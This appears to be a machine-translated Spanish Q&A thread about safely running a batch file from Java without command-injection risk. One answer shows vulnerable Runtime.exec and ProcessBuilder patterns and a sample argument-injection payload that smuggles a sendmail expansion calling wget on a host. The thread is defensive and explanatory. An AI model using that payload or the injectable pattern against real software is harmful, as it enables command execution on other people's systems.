¿Existe una forma segura de ejecutar un archivo bat desde un programa Java sin la vulnerabilidad de inyección de comandos?

1

Desde que se utiliza Runtime.exec () y la vulnerabilidad de inyección de comandos de ProcessBuilder en herramientas de análisis estático, ¿hay alguna otra forma segura recomendada de ejecutar un archivo bat desde un programa Java?

código Java:

Runtime.getRuntime().exec("C:\batFile.bat")

Análisis de FindBugs:

    
pregunta pasanbsb 05.10.2018 - 21:56
fuente

2 respuestas

1

Sí, creo que hay formas "seguras".

También creo que, en relación con su pregunta, su objetivo puede ser evitar la inyección de comandos y / o no activar alertas en los escáneres de código fuente estático . El segundo podría ser complicado, ya que la gran cantidad de falsos positivos que generan estos escáneres.

Honestamente, creo que la primera alerta de "Firebug" podría ser, en la mayoría de los casos, un Falso Positivo (aunque es útil para el reconocimiento) de "Inyección de comandos" (si solo está llamando a un archivo ejecutable o de archivo), de hecho el la regla se debe aplicar justo cuando llama a un intérprete de bash / cmd / sh. Entonces, la vulnerabilidad podría ser posible al crear directamente en ella argumentos anidados de fuentes desconocidas.

Ejemplo de inyección de comandos (opciones tanto exec como ProcessBuilder):

        String[] cmd = new String[]{"/bin/bash","-c","/usr/sbin/sendmail -f"+emailFrom};
        Runtime.getRuntime().exec(cmd);

        //Same as Exec
        ProcessBuilder pb = new ProcessBuilder(cmd);
        pb.start();

Dado que Java realiza una bifurcación () del ejecutable en lugar de llamar directamente a un intérprete de comandos del sistema operativo (como proc_open / exec en PHP), podríamos decir que estas funciones están "por defecto" más protegidas contra la inyección de comandos.

Por otra parte, también deberías conocer los ataques "Inyección de argumentos" (se podría combatir como la Inyección de comandos en sí misma, pero ligeramente diferente). En cuyo caso, ProcessBuilder es la solución segura para ir con. La razón es que exec () acepta una cadena y tokenize / interprete espacios para transformarla en una matriz de argumentos pero ProcessBuilder no, por lo que los espacios no se interpretan para la tokenización de cadenas !

Ejemplo de inyección de argumento:

  }else if( ("Argument Injection".equals(submit)) ){

        //We are invoking an process without calling a sh/bash/cmd interpreter. But Still, thanks to Runtime.java tokenizer, we are able to inject extra arguments to target process.

        String cmd = "/usr/sbin/sendmail -f" + emailFrom;
        Runtime.getRuntime().exec(cmd);

Posible carga útil:

[email protected] -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}

Ya que está un poco fuera de contexto para esta pregunta, dejo aquí una investigación que realicé sobre esos ataques. Estos temas podrían ser útiles para cualquier persona preocupada por la técnica de usar funciones predefinidas de Languages para llamar a ejecutables en sistemas de archivos.

Java CommandI / ArgumentI: enlace

PHP: enlace

Ruby / Python / JS: enlace

Proporciono varios PoC donde puedes jugar con los diferentes comandos y ver cuáles encajan en tus especificaciones más seguras para la ejecución del archivo de destino.

    
respondido por el Rebujacker 06.10.2018 - 00:24
fuente
1

No estoy muy familiarizado con Java pero he visto el mismo problema con otros idiomas. El problema es que cuando se llama a exec con una cadena el shell del sistema operativo debe estar involucrado necesita analizar la cadena de comando en el comando y los argumentos. Aunque esto no se hace dejando que el shell del SO haga la división como en muchos otros lenguajes como Perl (gracias por dave_thompson_085 corrigiéndome) no obstante, puede tener resultados no deseados ya que la división se realiza simplemente mediante espacios en blanco y no le importa citar ni escapar. Por ejemplo, si el argumento previsto para construir el comando es un nombre de archivo definido por el usuario, el usuario podría proporcionar un nombre de archivo que contenga espacios que se dividirán en varios argumentos, aunque se diseñó como uno solo. Dependiendo de lo que se ejecute realmente, esto también podría llevar a una inyección de comandos no deseada. Esto es similar a las inyecciones de SQL que pueden ocurrir al construir sentencias de SQL a partir de la entrada del usuario o con XSS y otro tipo de inyecciones de código.

La solución es, por lo tanto, la misma que con el enlace de parámetros para defenderse de la inyección de SQL: asegúrese de que no sea necesario realizar un análisis por el shell para extraer los argumentos proporcionando las partes relevantes ya analizadas. Con exec , esto significa no dar una cadena de comandos sino una matriz de comandos, es decir, algo como esto (no estoy seguro de si realmente son necesarios los explícitos cmd.exe y /c ):

String[] cmdArray = new String[3];
cmdArray[0] = "cmd.exe";
cmdArray[1] = "/c";
cmdArray[2] = "C:\batFile.bat";
Runtime.getRuntime().exec(cmdArray);

Vea también Stackoverflow: ¿Cómo ejecuto un archivo por lotes desde mi aplicación Java? .

    
respondido por el Steffen Ullrich 05.10.2018 - 23:10
fuente

Lea otras preguntas en las etiquetas